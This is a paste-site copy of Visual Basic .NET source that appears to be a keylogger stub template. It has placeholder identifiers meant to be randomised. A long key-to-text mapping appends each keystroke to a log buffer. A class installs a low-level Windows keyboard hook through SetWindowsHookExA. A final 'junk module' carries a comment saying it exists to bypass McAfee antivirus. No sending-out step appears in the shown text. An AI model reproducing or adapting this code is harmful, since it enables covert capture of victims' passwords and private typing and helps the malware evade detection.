- ElseIf [25] = Keys.Y Then
- [15] += "Y"
- ElseIf [25] = Keys.Z Then
- [15] += "Z"
- ElseIf [25] = Keys.Oemcomma Then
- [15] += "<"
- ElseIf [25] = Keys.OemMinus Then
- [15] += "_"
- ElseIf [25] = Keys.OemOpenBrackets Then
- [15] += "{"
- ElseIf [25] = Keys.OemCloseBrackets Then
- [15] += "}"
- ElseIf [25] = Keys.OemQuestion Then
- [15] += "?"
- ElseIf [25] = Keys.OemPipe Then
- [15] += "|"
- ElseIf [25] = Keys.Oem1 Then
- [15] += ":"
- ElseIf [25] = Keys.OemPeriod Then
- [15] += ">"
- ElseIf [25] = Keys.Oemtilde Then
- [15] += "~"
- ElseIf [25] = Keys.OemQuotes Then
- '[15] += *quote*
- ElseIf [25] = Keys.Space Then
- [15] += " "
- ElseIf [25] = Keys.Enter Then
- [15] += vbNewLine
- ElseIf [25] = Keys.F1 Then
- [15] += "[F1]"
- ElseIf [25] = Keys.F2 Then
- [15] += "[F2]"
- ElseIf [25] = Keys.F3 Then
- [15] += "[F3]"
- ElseIf [25] = Keys.F4 Then
- [15] += "[F4]"
- ElseIf [25] = Keys.F5 Then
- [15] += "[F5]"
- ElseIf [25] = Keys.F6 Then
- [15] += "[F6]"
- ElseIf [25] = Keys.F7 Then
- [15] += "[F7]"
- ElseIf [25] = Keys.F8 Then
- [15] += "[F8]"
- ElseIf [25] = Keys.F9 Then
- [15] += "[F9]"
- ElseIf [25] = Keys.F10 Then
- [15] += "[F10]"
- ElseIf [25] = Keys.F11 Then
- [15] += "[F11]"
- ElseIf [25] = Keys.F12 Then
- [15] += "[F12]"
- ElseIf [25] = Keys.Delete Then
- [15] += "[DEL]"
- ElseIf [25] = Keys.Back Then
- [15] += "[DEL]"
- ElseIf [25] = Keys.Down Then
- [15] += ""
- ElseIf [25] = Keys.Up Then
- [15] += ""
- ElseIf [25] = Keys.Left Then
- [15] += ""
- ElseIf [25] = Keys.Right Then
- [15] += ""
- ElseIf [25] = Keys.Tab Then
- [15] += "[TAB]"
- ElseIf [25] = Keys.End Then
- [15] += "[END]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[ESC]"
- ElseIf [25] = Keys.Divide Then
- [15] += "/"
- ElseIf [25] = Keys.Decimal Then
- [15] += "."
- ElseIf [25] = Keys.Subtract Then
- [15] += "-"
- ElseIf [25] = Keys.Add Then
- [15] += "+"
- ElseIf [25] = Keys.Multiply Then
- [15] += "*"
- ElseIf [25] = Keys.ControlKey Then
- [15] += "[CTRL]"
- ElseIf [25] = Keys.Alt Then
- [15] += "[ALT]"
- ElseIf [25] = Keys.PageUp Then
- [15] += "[Page Up]"
- ElseIf [25] = Keys.PageDown Then
- [15] += "[Page Down]"
- ElseIf [25] = Keys.Home Then
- [15] += "[Home]"
- ElseIf [25] = Keys.Insert Then
- [15] += "[Insert]"
- ElseIf [25] = Keys.End Then
- [15] += "[End]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[Esc]"
- ElseIf [25] = Keys.PrintScreen Then
- [15] += "[Prt Screen]"
- End If
- ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
- If [25] = Keys.D1 Then
- [15] += "1"
- ElseIf [25] = Keys.D2 Then
- [15] += "2"
- ElseIf [25] = Keys.D3 Then
- [15] += "3"
- ElseIf [25] = Keys.D4 Then
- [15] += "4"
- ElseIf [25] = Keys.D5 Then
- [15] += "5"
- ElseIf [25] = Keys.D6 Then
- [15] += "6"
- ElseIf [25] = Keys.D7 Then
- [15] += "7"
- ElseIf [25] = Keys.D8 Then
- [15] += "8"
- ElseIf [25] = Keys.D9 Then
- [15] += "9"
- ElseIf [25] = Keys.D0 Then
- [15] += "0"
- ElseIf [25] = Keys.A Then
- [15] += "a"
- ElseIf [25] = Keys.B Then
- [15] += "b"
- ElseIf [25] = Keys.C Then
- [15] += "c"
- ElseIf [25] = Keys.D Then
- [15] += "d"
- ElseIf [25] = Keys.E Then
- [15] += "e"
- ElseIf [25] = Keys.F Then
- [15] += "f"
- ElseIf [25] = Keys.G Then
- [15] += "g"
- ElseIf [25] = Keys.H Then
- [15] += "h"
- ElseIf [25] = Keys.I Then
- [15] += "i"
- ElseIf [25] = Keys.J Then
- [15] += "j"
- ElseIf [25] = Keys.K Then
- [15] += "k"
- ElseIf [25] = Keys.L Then
- [15] += "l"
- ElseIf [25] = Keys.M Then
- [15] += "m"
- ElseIf [25] = Keys.N Then
- [15] += "n"
- ElseIf [25] = Keys.O Then
- [15] += "o"
- ElseIf [25] = Keys.P Then
- [15] += "p"
- ElseIf [25] = Keys.Q Then
- [15] += "q"
- ElseIf [25] = Keys.R Then
- [15] += "r"
- ElseIf [25] = Keys.S Then
- [15] += "s"
- ElseIf [25] = Keys.T Then
- [15] += "t"
- ElseIf [25] = Keys.U Then
- [15] += "u"
- ElseIf [25] = Keys.V Then
- [15] += "v"
- ElseIf [25] = Keys.W Then
- [15] += "w"
- ElseIf [25] = Keys.X Then
- [15] += "x"
- ElseIf [25] = Keys.Y Then
- [15] += "y"
- ElseIf [25] = Keys.Z Then
- [15] += "[111]"
- ElseIf [25] = Keys.Oemcomma Then
- [15] += ","
- ElseIf [25] = Keys.OemMinus Then
- [15] += "-"
- ElseIf [25] = Keys.OemQuotes Then
- [15] += "'"
- ElseIf [25] = Keys.OemOpenBrackets Then
- [15] += "["
- ElseIf [25] = Keys.OemCloseBrackets Then
- [15] += "]"
- ElseIf [25] = Keys.OemQuestion Then
- [15] += "/"
- ElseIf [25] = Keys.OemPipe Then
- [15] += "\"
- ElseIf [25] = Keys.Oem1 Then
- [15] += ";"
- ElseIf [25] = Keys.OemPeriod Then
- [15] += "."
- ElseIf [25] = Keys.Oemtilde Then
- [15] += "`"
- ElseIf [25] = Keys.Space Then
- [15] += " "
- ElseIf [25] = Keys.Enter Then
- [15] += vbNewLine
- ElseIf [25] = Keys.F1 Then
- [15] += "[F1]"
- ElseIf [25] = Keys.F2 Then
- [15] += "[F2]"
- ElseIf [25] = Keys.F3 Then
- [15] += "[F3]"
- ElseIf [25] = Keys.F4 Then
- [15] += "[F4]"
- ElseIf [25] = Keys.F5 Then
- [15] += "[F5]"
- ElseIf [25] = Keys.F6 Then
- [15] += "[F6]"
- ElseIf [25] = Keys.F7 Then
- [15] += "[F7]"
- ElseIf [25] = Keys.F8 Then
- [15] += "[F8]"
- ElseIf [25] = Keys.F9 Then
- [15] += "[F9]"
- ElseIf [25] = Keys.F10 Then
- [15] += "[F10]"
- ElseIf [25] = Keys.F11 Then
- [15] += "[F11]"
- ElseIf [25] = Keys.F12 Then
- [15] += "[F12]"
- ElseIf [25] = Keys.Delete Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Back Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Down Then
- [15] += ""
- ElseIf [25] = Keys.Up Then
- [15] += ""
- ElseIf [25] = Keys.Left Then
- [15] += ""
- ElseIf [25] = Keys.Right Then
- [15] += ""
- ElseIf [25] = Keys.Tab Then
- [15] += "[TAB]"
- ElseIf [25] = Keys.End Then
- [15] += "[END]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[ESC]"
- ElseIf [25] = Keys.Divide Then
- [15] += "/"
- ElseIf [25] = Keys.Decimal Then
- [15] += "."
- ElseIf [25] = Keys.Subtract Then
- [15] += "-"
- ElseIf [25] = Keys.Add Then
- [15] += "+"
- ElseIf [25] = Keys.Multiply Then
- [15] += "*"
- ElseIf [25] = Keys.ControlKey Then
- [15] += "[CTRL]"
- ElseIf [25] = Keys.Alt Then
- [15] += "[ALT]"
- ElseIf [25] = Keys.PageUp Then
- [15] += "[Page Up]"
- ElseIf [25] = Keys.PageDown Then
- [15] += "[Page Down]"
- ElseIf [25] = Keys.Home Then
- [15] += "[Home]"
- ElseIf [25] = Keys.Insert Then
- [15] += "[Insert]"
- ElseIf [25] = Keys.End Then
- [15] += "[End]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[Esc]"
- ElseIf [25] = Keys.PrintScreen Then
- [15] += "[Prt Screen]"
- End If
- ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
- If [25] = Keys.D1 Then
- [15] += "!"
- ElseIf [25] = Keys.D2 Then
- [15] += "@"
- ElseIf [25] = Keys.D3 Then
- [15] += "#"
- ElseIf [25] = Keys.D4 Then
- [15] += "$"
- ElseIf [25] = Keys.D5 Then
- [15] += "%"
- ElseIf [25] = Keys.D6 Then
- [15] += "^"
- ElseIf [25] = Keys.D7 Then
- [15] += "&"
- ElseIf [25] = Keys.D8 Then
- [15] += "*"
- ElseIf [25] = Keys.D9 Then
- [15] += "("
- ElseIf [25] = Keys.D0 Then
- [15] += ")"
- ElseIf [25] = Keys.A Then
- [15] += "A"
- ElseIf [25] = Keys.B Then
- [15] += "B"
- ElseIf [25] = Keys.C Then
- [15] += "C"
- ElseIf [25] = Keys.D Then
- [15] += "D"
- ElseIf [25] = Keys.E Then
- [15] += "E"
- ElseIf [25] = Keys.F Then
- [15] += "F"
- ElseIf [25] = Keys.G Then
- [15] += "G"
- ElseIf [25] = Keys.H Then
- [15] += "H"
- ElseIf [25] = Keys.I Then
- [15] += "I"
- ElseIf [25] = Keys.J Then
- [15] += "J"
- ElseIf [25] = Keys.K Then
- [15] += "K"
- ElseIf [25] = Keys.L Then
- [15] += "L"
- ElseIf [25] = Keys.M Then
- [15] += "M"
- ElseIf [25] = Keys.N Then
- [15] += "N"
- ElseIf [25] = Keys.O Then
- [15] += "O"
- ElseIf [25] = Keys.P Then
- [15] += "P"
- ElseIf [25] = Keys.Q Then
- [15] += "Q"
- ElseIf [25] = Keys.R Then
- [15] += "R"
- ElseIf [25] = Keys.S Then
- [15] += "S"
- ElseIf [25] = Keys.T Then
- [15] += "T"
- ElseIf [25] = Keys.U Then
- [15] += "U"
- ElseIf [25] = Keys.V Then
- [15] += "V"
- ElseIf [25] = Keys.W Then
- [15] += "W"
- ElseIf [25] = Keys.X Then
- [15] += "X"
- ElseIf [25] = Keys.Y Then
- [15] += "Y"
- ElseIf [25] = Keys.Z Then
- [15] += "Z"
- ElseIf [25] = Keys.Oemcomma Then
- [15] += "<"
- ElseIf [25] = Keys.OemMinus Then
- [15] += "_"
- ElseIf [25] = Keys.OemOpenBrackets Then
- [15] += "{"
- ElseIf [25] = Keys.OemCloseBrackets Then
- [15] += "}"
- ElseIf [25] = Keys.OemQuestion Then
- [15] += "?"
- ElseIf [25] = Keys.OemPipe Then
- [15] += "|"
- ElseIf [25] = Keys.Oem1 Then
- [15] += ":"
- ElseIf [25] = Keys.OemPeriod Then
- [15] += ">"
- ElseIf [25] = Keys.Oemtilde Then
- [15] += "~"
- ElseIf [25] = Keys.Space Then
- [15] += " "
- ElseIf [25] = Keys.Enter Then
- [15] += vbNewLine
- ElseIf [25] = Keys.F1 Then
- [15] += "[F1]"
- ElseIf [25] = Keys.F2 Then
- [15] += "[F2]"
- ElseIf [25] = Keys.F3 Then
- [15] += "[F3]"
- ElseIf [25] = Keys.F4 Then
- [15] += "[F4]"
- ElseIf [25] = Keys.F5 Then
- [15] += "[F5]"
- ElseIf [25] = Keys.F6 Then
- [15] += "[F6]"
- ElseIf [25] = Keys.F7 Then
- [15] += "[F7]"
- ElseIf [25] = Keys.F8 Then
- [15] += "[F8]"
- ElseIf [25] = Keys.F9 Then
- [15] += "[F9]"
- ElseIf [25] = Keys.F10 Then
- [15] += "[F10]"
- ElseIf [25] = Keys.F11 Then
- [15] += "[F11]"
- ElseIf [25] = Keys.F12 Then
- [15] += "[F12]"
- ElseIf [25] = Keys.Delete Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Back Then
- If Not [15].EndsWith(vbNewLine) Then
- If Not [15].EndsWith("|") Then
- If Not [15].EndsWith("]") Then
- [15] = [15].Substring(0, [15].Length - 1)
- End If
- End If
- End If
- ElseIf [25] = Keys.Down Then
- [15] += ""
- ElseIf [25] = Keys.Up Then
- [15] += ""
- ElseIf [25] = Keys.Left Then
- [15] += ""
- ElseIf [25] = Keys.Right Then
- [15] += ""
- ElseIf [25] = Keys.Tab Then
- [15] += "[TAB]"
- ElseIf [25] = Keys.End Then
- [15] += "[END]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[ESC]"
- ElseIf [25] = Keys.Divide Then
- [15] += "/"
- ElseIf [25] = Keys.Decimal Then
- [15] += "."
- ElseIf [25] = Keys.Subtract Then
- [15] += "-"
- ElseIf [25] = Keys.Add Then
- [15] += "+"
- ElseIf [25] = Keys.Multiply Then
- [15] += "*"
- ElseIf [25] = Keys.OemQuotes Then
- '[15] += *quote*
- ElseIf [25] = Keys.ControlKey Then
- [15] += "[CTRL]"
- ElseIf [25] = Keys.Alt Then
- [15] += "[ALT]"
- ElseIf [25] = Keys.PageUp Then
- [15] += "[Page Up]"
- ElseIf [25] = Keys.PageDown Then
- [15] += "[Page Down]"
- ElseIf [25] = Keys.Home Then
- [15] += "[Home]"
- ElseIf [25] = Keys.Insert Then
- [15] += "[Insert]"
- ElseIf [25] = Keys.End Then
- [15] += "[End]"
- ElseIf [25] = Keys.Escape Then
- [15] += "[Esc]"
- ElseIf [25] = Keys.PrintScreen Then
- [15] += "[Prt Screen]"
- End If
- End If
- End Sub
- Friend Class &2& 'This is the randomized keyhook class, nothing much to go in depth here in terms of functionality.
- Private Const &3& As Integer = 0
- Private Const &4& As Integer = 13
- Private Const &5& = &H100
- Private Const &6& = &H101
- Private Const &7& = &H104
- Private Const &8& = &H105
- Friend Structure &9&
- Public &10& As Integer
- Public &11& As Integer
- Public &12& As Integer
- Public &13& As Integer
- Public &14& As Integer
- End Structure
- Private Declare Function [32] Lib "user32" _
- Alias "SetWindowsHookExA" _
- (ByVal &15& As Integer, _
- ByVal &16& As [35], _
- ByVal &17& As Integer, _
- ByVal &18& As Integer) As Integer
- Private Declare Function [33] Lib "user32" Alias "CallNextHookEx" _
- (ByVal &19& As Integer, _
- ByVal &20& As Integer, _
- ByVal &21& As Integer, _
- ByVal &22& As &9&) As Integer
- Private Declare Function [34] Lib "user32" Alias "UnhookWindowsHookEx" _
- (ByVal &19& As Integer) As Integer
- Private Delegate Function [35] _
- (ByVal &20& As Integer, _
- ByVal &21& As Integer, _
- ByRef &22& As &9&) As Integer
- Public Shared Event &24&(ByVal &23& As Keys) 'KeyDown
- Public Shared Event &25&(ByVal &23& As Keys) 'Keyup
- Friend Shared &26& As Integer
- Private Shared &27& As [35]
- Public Sub New()
- &27& = New [35](AddressOf &28&)
- &26& = [32](&4&, &27&, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
- End Sub
- Friend Shared Function &28&(ByVal &20& As Integer, ByVal &21& As Integer, ByRef &22& As &9&) As Integer
- If (&20& = &3&) Then
- Select Case &21&
- Case &5&, &7&
- RaiseEvent &24&(CType(&22&.&10&, Keys))
- Case &6&, &8&
- RaiseEvent &25&(CType(&22&.&10&, Keys))
- End Select
- End If
- Return [33](&26&, &20&, &21&, &22&)
- End Function
- Protected Overrides Sub Finalize()
- On Error Resume Next
- [34](&26&)
- MyBase.Finalize()
- End Sub
- End Class
- End Module
- Module ^1^ 'This Module is just a randomized junk module, it bypass McAfee and adds 0KB of server size, so win win :).
- Public Function ^2^()
- Dim ^3^ As Object = 5052656
- While True
- Dim ^4^() As String = {"^5^"}
- Try
- MsgBox("^6^")
- Dim ^7^ As Decimal = 0515
- Catch ^8^ As Exception
- Dim ^9^ As Integer = 5
- End Try
- Do
- Dim ^10^ As Integer = 475711
- Dim ^11^ As UInt64 = 0
- Dim ^12^ As Boolean = True
- Dim ^13^ As Double = 2653
- MsgBox("^14^")
- Loop
- End While
- Dim ^15^ As ULong = 6763304
- Do Until 580267 >= 0
- Loop
- Dim ^16^ As Integer = 462
- If 4 = 820 Then
- MessageBox.Show("^17^")
- Dim ^18^ As Decimal = 8506
- End If
- While True
- Dim ^19^() As String = {"^20^","^21^"}
- Try
- MsgBox("^22^")
- Dim ^23^ As Decimal = 8
- Catch ^24^ As Exception
- Dim ^25^ As Integer = 011388
- End Try
- Do
- Dim ^26^ As Integer = 75620
- Dim ^27^ As UInt64 = 7
- Dim ^28^ As Boolean = True
- Dim ^29^ As Double = 4
- MsgBox("^5^")
- Loop
- End While
- Dim ^30^ As Int64 = 82
- Do Until 4862 >= 4244123
- Loop
- Dim ^31^ As Long = 16
- If 2 <> 6606 Then
- MsgBox("^32^")
- Dim ^33^ As Double = 454
- End If
- While True
- Dim ^34^() As String = {"^35^","^36^"}
- Try
- MsgBox("^37^")
- Dim ^38^ As Decimal = 50
- Catch ^39^ As Exception
- Dim ^40^ As Integer = 153
- End Try
- Do
- Dim ^41^ As Integer = 8
- Dim ^42^ As UInt64 = 6735058
- Dim ^43^ As Boolean = True
- Dim ^44^ As Double = 52
- MsgBox("^45^")
- Loop
- End While
- Dim ^46^ As Int64 = 71884
- Return 530
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement